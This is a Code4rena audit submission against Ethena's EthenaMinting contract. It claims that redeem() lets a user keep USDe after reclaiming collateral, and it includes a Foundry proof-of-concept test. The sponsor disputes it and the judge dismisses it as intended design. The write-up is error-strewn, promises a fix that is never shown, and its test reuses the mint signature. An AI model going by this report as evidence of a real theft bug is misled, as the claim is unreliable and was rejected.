Users will retain possession of their USDe after redeeming collateral

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/EthenaMinting.sol#L175-L178 https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/EthenaMinting.sol#L206-L207

Vulnerability details

Impact

Users will retain possession of their USDe after redeeming their collateral this can lead to theft/loss of funds.

Proof of Concept

See belo for the coded POC.

The benefactor and the beneficiary in the Order struct containing order details and confirmation from server, are addresses controlled by the same user. The vulnerability lies in the fact that when the minter calls mint, the collateral is transferred from the order.benefactor to the route.addresses in the ratios provided and then USDe is minted to the order.beneficiary as shown below

function mint(Order calldata order, Route calldata route, Signature calldata signature)
    external
    override
    nonReentrant
    onlyRole(MINTER_ROLE)
    belowMaxMintPerBlock(order.usde_amount)
  {
    ...
    _transferCollateral(
      order.collateral_amount, order.collateral_asset, order.benefactor, route.addresses, route.ratios
    );
    usde.mint(order.beneficiary, order.usde_amount);
    ...
  }

However, when the redeemer calls redeem(...), the function burns USDe from the order.benefactor (who has no USDe to burn from) and transfers the collateral to the order.beneficiary. And so the order.beneficiary is holding both the collateral asset and the USDe as

  function redeem(Order calldata order, Signature calldata signature)
    external
    override
    nonReentrant
    onlyRole(REDEEMER_ROLE)
    belowMaxRedeemPerBlock(order.usde_amount)
  {
   ...
    usde.burnFrom(order.benefactor, order.usde_amount);
    // @audit SUGGESTION: swap benefactor for beneficiary
    _transferToBeneficiary(order.beneficiary, order.collateral_asset, order.collateral_amount);
    ...
  }

POC

• usde is being burnt from benefactor instead of beneficiary // @audit POC
• call mint with diffrent beneficiary and benefactor
• mint to beneficiary
• user the same order to redeem from Ethena
• check benefactors balance of USDe
• check beneficiaries balance of USDe
• call redeem and
• check balance of USDe of both benefactor
• check balance of USDe of both beneficiary
• beneficiary has beth UDSe and asset
• repeating this with large mounts in many rounds could be disastrous

Add the test case to the EthernaMinting.core.t.sol and run forge test --mt testMintWithoutCollateral -vv

function testMintWithoutCollateral() public {

    // taker
    vm.startPrank(benefactor);
    stETHToken.approve(address(EthenaMintingContract), _stETHToDeposit);

    address[] memory targets = new address[](1);
    targets[0] = address(EthenaMintingContract);

    uint256[] memory ratios = new uint256[](1);
    ratios[0] = 10_000;

    IEthenaMinting.Order memory mintOrder = IEthenaMinting.Order({
      order_type: IEthenaMinting.OrderType.MINT,
      expiry: block.timestamp + 10 minutes,
      nonce: 16,
      benefactor: benefactor,
      beneficiary: beneficiary,
      collateral_asset: address(stETHToken),
      collateral_amount: _stETHToDeposit,
      usde_amount: _usdeToMint
    });

    console.log("USDe amount to Mint", mintOrder.usde_amount);

    IEthenaMinting.Route memory route = IEthenaMinting.Route({addresses: targets, ratios: ratios});

    bytes32 digest1 = EthenaMintingContract.hashOrder(mintOrder);

    IEthenaMinting.Signature memory takerSignature =
      signOrder(benefactorPrivateKey, digest1, IEthenaMinting.SignatureType.EIP712);
    vm.stopPrank();

    console.log("=====================================================");
    console.log("*********************** MINT ************************");
    console.log("=====================================================");

    vm.startPrank(minter);
    console.log("Benefactor stETHTokenBalance Before Mint", stETHToken.balanceOf(mintOrder.benefactor));
    EthenaMintingContract.mint(mintOrder, route, takerSignature);

    console.log("Benefactor stETHToken Balance Aftert Mint", stETHToken.balanceOf(mintOrder.benefactor));
    console.log("Beneficiary usdeToken Balance Aftert Mint", usdeToken.balanceOf(mintOrder.beneficiary));
    vm.stopPrank();

    console.log("=====================================================");
    console.log("********************** REDEEM ***********************");
    console.log("=====================================================");

    vm.startPrank(redeemer);
    IEthenaMinting.Order memory redeemOrder = IEthenaMinting.Order({
      order_type: IEthenaMinting.OrderType.REDEEM,
      expiry: block.timestamp + 10 minutes,
      nonce: 17,
      benefactor: benefactor,
      beneficiary: beneficiary,
      collateral_asset: address(stETHToken),
      collateral_amount: _stETHToDeposit,
      usde_amount: _usdeToMint
    });

    IEthenaMinting.Signature memory takerSignature2 =
      signOrder(benefactorPrivateKey, digest1, IEthenaMinting.SignatureType.EIP712);

    EthenaMintingContract.redeem(redeemOrder, takerSignature2);
    console.log("Benefactor stETHToken Balance Aftert Redeem", stETHToken.balanceOf(redeemOrder.benefactor));
    console.log("Beneficiary stETHToken Balance Aftert Redeem", stETHToken.balanceOf(redeemOrder.beneficiary));
    console.log("Beneficiary usdeToken Balance Aftert Redeem", usdeToken.balanceOf(redeemOrder.beneficiary));
  }

Tools Used

Foundry

Recommended Mitigation Steps

• In the redeem function check the balance ofUSDeandcollateralAssetin both theorder.beneficiaryand theorder.benefactor``` addresses before attmpting a burn or transfer.
• switch beneficiary to benefactor in the redeem function as shown below

Assessed type

Other

[c4-pre-sort]

raymondfam marked the issue as primary issue

[c4-pre-sort]

raymondfam marked the issue as sufficient quality report

[c4-sponsor]

FJ-Riveros (sponsor) disputed

[c4-judge]

fatherGoose1 marked the issue as unsatisfactory: Invalid

[fatherGoose1]

Intended design.